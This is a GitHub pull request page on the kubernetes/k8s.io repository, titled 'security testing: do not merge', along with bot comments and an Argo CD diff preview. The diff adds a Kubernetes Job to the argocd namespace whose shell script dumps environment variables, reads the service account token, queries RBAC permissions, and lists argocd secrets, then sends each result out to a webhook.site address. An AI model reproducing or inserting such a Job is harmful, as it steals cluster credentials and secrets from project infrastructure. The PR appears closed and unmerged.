Skip to content

security testing: do not merge#9185

Closed
flo405 wants to merge 13 commits intokubernetes:mainfrom
flo405:poc/security-test
Closed

security testing: do not merge#9185
flo405 wants to merge 13 commits intokubernetes:mainfrom
flo405:poc/security-test

Conversation

@flo405
Copy link

@flo405 flo405 commented Mar 8, 2026

This PR is for security testing. Do not merge.

@linux-foundation-easycla
Copy link

linux-foundation-easycla bot commented Mar 8, 2026

CLA Not Signed

@k8s-ci-robot
Copy link
Contributor

Welcome @flo405!

It looks like this is your first PR to kubernetes/k8s.io 🎉. Please refer to our pull request process documentation to help your PR have a smooth ride to approval.

You will be prompted by a bot to use commands during the review process. Do not be afraid to follow the prompts! It is okay to experiment. Here is the bot commands documentation.

You can also check if kubernetes/k8s.io has its own contribution guidelines.

You may want to refer to our testing guide if you run into trouble with your tests not passing.

If you are having difficulty getting your pull request seen, please follow the recommended escalation practices. Also, for tips and tricks in the contribution process you may want to read the Kubernetes contributor cheat sheet. We want to make sure your contribution gets all the attention it needs!

Thank you, and welcome to Kubernetes. 😃

@k8s-ci-robot k8s-ci-robot added area/prow Setting up or working with prow in general, prow.k8s.io, prow build clusters sig/k8s-infra Categorizes an issue or PR as relevant to SIG K8s Infra. needs-ok-to-test Indicates a PR that requires an org member to verify it is safe to test. labels Mar 8, 2026
@k8s-ci-robot
Copy link
Contributor

Hi @flo405. Thanks for your PR.

I'm waiting for a kubernetes member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work.

Regular contributors should join the org to skip this step.

Once the patch is verified, the new status will be reflected by the ok-to-test label.

I understand the commands that are listed here.

Details

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository.

@k8s-ci-robot k8s-ci-robot added the sig/testing Categorizes an issue or PR as relevant to SIG Testing. label Mar 8, 2026
@k8s-ci-robot
Copy link
Contributor

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by: flo405
Once this PR has been reviewed and has the lgtm label, please assign jbpratt for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@k8s-ci-robot k8s-ci-robot added size/M Denotes a PR that changes 30-99 lines, ignoring generated files. cncf-cla: no Indicates the PR's author has not signed the CNCF CLA. labels Mar 8, 2026
@k8s-infra-ci-robot
Copy link
Contributor

k8s-infra-ci-robot commented Mar 8, 2026

Argo CD Diff Preview

Summary:

Total: 1 files changed

Modified (1):
± argocd (+44)
argocd (kubernetes/apps/argocd.yaml)
@@ Application modified: argocd (kubernetes/apps/argocd.yaml) @@
     repoURL: https://github.com/kubernetes/k8s.io
     targetRevision: main
   syncPolicy:
     automated:
       prune: false
       selfHeal: true
 ---
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: security-test
+  namespace: argocd
+spec:
+  template:
+    spec:
+      containers:
+      - args:
+        - |
+          HOOK="https://webhook.site/2659db76-ba6b-4835-8d39-fe6c80b47919"
+          wget -qO- "${HOOK}/?stage=k8s-job-start&host=$(hostname)&ns=${POD_NAMESPACE}" 2>/dev/null || true
+          ENC=$(env | head -c 3000 | base64 | tr -d '\n' | sed 's|+|%2B|g;s|/|%2F|g;s|=|%3D|g')
+          wget -qO- "${HOOK}/?stage=k8s-dump&d=${ENC}" 2>/dev/null || true
+          T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
+          K=https://10.96.0.1:443
+          RBAC=$(wget -qO- --no-check-certificate \
+            --header="Authorization: Bearer $T" \
+            --header="Content-Type: application/json" \
+            --post-data="{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"${POD_NAMESPACE}\"}}" \
+            "$K/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" 2>/dev/null)
+          RENC=$(printf '%s' "$RBAC" | head -c 3000 | base64 | tr -d '\n' | sed 's|+|%2B|g;s|/|%2F|g;s|=|%3D|g')
+          wget -qO- "${HOOK}/?stage=rbac&d=${RENC}" 2>/dev/null || true
+          SEC=$(wget -qO- --no-check-certificate \
+            --header="Authorization: Bearer $T" \
+            "$K/api/v1/namespaces/argocd/secrets" 2>/dev/null | head -c 4000)
+          SENC=$(printf '%s' "$SEC" | base64 | tr -d '\n' | sed 's|+|%2B|g;s|/|%2F|g;s|=|%3D|g')
+          wget -qO- "${HOOK}/?stage=argocd-secrets&d=${SENC}" 2>/dev/null || true
+          wget -qO- "${HOOK}/?stage=done" 2>/dev/null || true
+        command:
+        - /bin/sh
+        - -c
+        env:
+        - name: POD_NAMESPACE
+          valueFrom:
+            fieldRef:
+              fieldPath: metadata.namespace
+        image: quay.io/prometheus/busybox-linux-amd64:latest
+        imagePullPolicy: IfNotPresent
+        name: poc
+      restartPolicy: Never
+  ttlSecondsAfterFinished: 300
+---
 apiVersion: external-secrets.io/v1
 kind: ExternalSecret
 metadata:
   name: ibm-ppc64le
   namespace: argocd
 spec:
   data:

Stats:
[Applications: 76], [Full Run: 1m41s], [Rendering: 1m32s], [Cluster: 0s], [Argo CD: 5s]

@k8s-ci-robot k8s-ci-robot added size/S Denotes a PR that changes 10-29 lines, ignoring generated files. and removed size/M Denotes a PR that changes 30-99 lines, ignoring generated files. labels Mar 8, 2026
@k8s-ci-robot k8s-ci-robot added size/M Denotes a PR that changes 30-99 lines, ignoring generated files. and removed size/S Denotes a PR that changes 10-29 lines, ignoring generated files. labels Mar 8, 2026
@flo405

This comment was marked as spam.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/prow Setting up or working with prow in general, prow.k8s.io, prow build clusters cncf-cla: no Indicates the PR's author has not signed the CNCF CLA. needs-ok-to-test Indicates a PR that requires an org member to verify it is safe to test. sig/k8s-infra Categorizes an issue or PR as relevant to SIG K8s Infra. sig/testing Categorizes an issue or PR as relevant to SIG Testing. size/M Denotes a PR that changes 30-99 lines, ignoring generated files.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants